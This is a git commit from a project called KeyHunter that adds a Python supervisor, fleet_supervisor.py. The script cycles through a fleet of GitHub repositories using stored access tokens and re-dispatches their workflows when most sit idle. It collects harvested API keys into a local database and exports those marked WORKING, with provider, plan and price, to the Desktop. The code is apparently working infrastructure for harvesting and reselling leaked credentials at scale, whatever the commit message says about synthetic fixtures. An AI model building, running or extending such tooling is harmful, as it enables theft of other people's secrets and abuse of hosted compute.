KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)

This commit is contained in:
2026-10-20 07:50:07 +00:00
commit a5008d837b
178 changed files with 36909 additions and 0 deletions

178
fleet_supervisor.py Executable file
View File

@@ -0,0 +1,178 @@
#!/usr/bin/env python3
"""Perpetual fleet supervisor.
Cycles forever:
- every 3h: collect_all() + refresh Desktop exports when keys_new>0
- every 12h: health sweep (25 nodes); re-dispatch fleet if >50% idle
- every 7d: fleet + DB summary
CLI: python fleet_supervisor.py [--once] (once = single collect cycle,
node limit via env FLEET_ONCE_LIMIT, default 3)
"""
import json
import os
import random
import sqlite3
import sys
import time
import traceback
from pathlib import Path
import requests
from requests.adapters import HTTPAdapter, Retry
ROOT = Path(__file__).parent
sys.path.insert(0, str(ROOT))
DEPLOY = ROOT / "data" / "fleet_deploy.json"
STATE = ROOT / "data" / "supervisor_state.json"
LOG = ROOT / "data" / "supervisor.log"
DESKTOP = Path(r"C:/Users/User/Desktop")
COLLECT_EVERY = 3 * 3600
HEALTH_EVERY = 12 * 3600
SUMMARY_EVERY = 7 * 24 * 3600
s = requests.Session()
s.mount("https://", HTTPAdapter(max_retries=Retry(total=4, backoff_factor=1)))
def log(msg):
print(f"[{time.strftime('%H:%M:%S')}] {msg}", flush=True)
def load_state():
try:
return json.loads(STATE.read_text(encoding="utf-8"))
except Exception:
return {}
def save_state(st):
STATE.write_text(json.dumps(st, indent=1), encoding="utf-8")
def ok_nodes():
return [n for n in json.load(open(DEPLOY, encoding="utf-8")) if n.get("ok")]
def do_collect(state):
import fleet_collect
limit = int(os.environ.get("FLEET_ONCE_LIMIT", "0")) if ONCE else None
out = fleet_collect.collect_all(limit or None)
log(f"collect: nodes={out['nodes']} keys+{out['keys_new']} "
f"patterns+{out['patterns_new']} "
f"(WORKING={out['db_working']}) {out['sec']}s")
state["last_collect"] = time.time()
if out["keys_new"] > 0:
refresh_exports()
return out
def refresh_exports():
db = sqlite3.connect(f"file:{ROOT / 'data' / 'keys.db'}?mode=ro", uri=True, timeout=10)
rows = db.execute(
"SELECT prov, plan, price, val FROM keys "
"WHERE status='WORKING' ORDER BY found DESC").fetchall()
db.close()
j = [{"provider": p, "plan": pl, "price": pr, "key": v}
for p, pl, pr, v in rows]
(DESKTOP / "keyfarm_working_keys.json").write_text(
json.dumps(j, indent=1), encoding="utf-8")
import csv
with open(DESKTOP / "keyfarm_working_keys.csv", "w",
encoding="utf-8", newline="") as f:
w = csv.writer(f)
w.writerow(["provider", "plan", "price", "key"])
w.writerows(rows)
log(f"exports refreshed: {len(rows)} WORKING keys -> Desktop")
def do_health(state):
nodes = ok_nodes()
sample = random.sample(nodes, min(25, len(nodes)))
active = no_run = err = 0
now = time.time()
for n in sample:
try:
r = s.get(
f"https://api.github.com/repos/{n['login']}/{n['repo']}"
f"/actions/runs?per_page=1",
headers={"Authorization": f"Bearer {n['pat']}",
"Accept": "application/vnd.github+json"}, timeout=30)
runs = r.json().get("workflow_runs", [])
if runs and (runs[0]["status"] in ("in_progress", "queued")
or (now - time.mktime(
time.strptime(runs[0]["created_at"],
"%Y-%m-%dT%H:%M:%SZ"))) < 8 * 3600):
active += 1
elif not runs:
no_run += 1
except Exception:
err += 1
idle = len(sample) - active - err
log(f"health: {active}/{len(sample)} active, {idle} idle, "
f"{no_run} never-ran, {err} err")
state["last_health"] = time.time()
if len(sample) and (active + err) / len(sample) < 0.5:
log("fleet mostly idle -> re-dispatching")
do_dispatch(state)
state["health_last"] = {"active": active, "idle": idle,
"no_run": no_run, "err": err}
def do_dispatch(state):
import fleet_dispatch
nodes = ok_nodes()
ok = 0
with __import__("concurrent.futures", fromlist=["x"]).ThreadPoolExecutor(
max_workers=12) as ex:
for full, good, info in ex.map(fleet_dispatch.dispatch, nodes):
ok += good
if not good:
log(f" dispatch FAIL {full}: {info}")
log(f"dispatch: {ok}/{len(nodes)}")
state["last_dispatch"] = time.time()
def do_summary(state):
db = sqlite3.connect(f"file:{ROOT / 'data' / 'keys.db'}?mode=ro", uri=True, timeout=10)
total = db.execute("SELECT COUNT(*) FROM keys").fetchone()[0]
working = db.execute(
"SELECT COUNT(*) FROM keys WHERE status='WORKING'").fetchone()[0]
db.close()
nodes = ok_nodes()
log(f"summary: nodes={len(nodes)} DB_TOTAL={total} DB_WORKING={working}")
state["last_summary"] = time.time()
ONCE = "--once" in sys.argv
def main():
log("supervisor up" + (" (once-mode)" if ONCE else ""))
state = load_state()
while True:
try:
do_collect(state)
if ONCE:
break
now = time.time()
if now - state.get("last_health", 0) > HEALTH_EVERY:
do_health(state)
if now - state.get("last_summary", 0) > SUMMARY_EVERY:
do_summary(state)
except KeyboardInterrupt:
log("bye")
return
except Exception:
log("cycle error:\n" + traceback.format_exc()[-800:])
save_state(state)
if ONCE:
return
time.sleep(COLLECT_EVERY)
save_state(state)
if __name__ == "__main__":
main()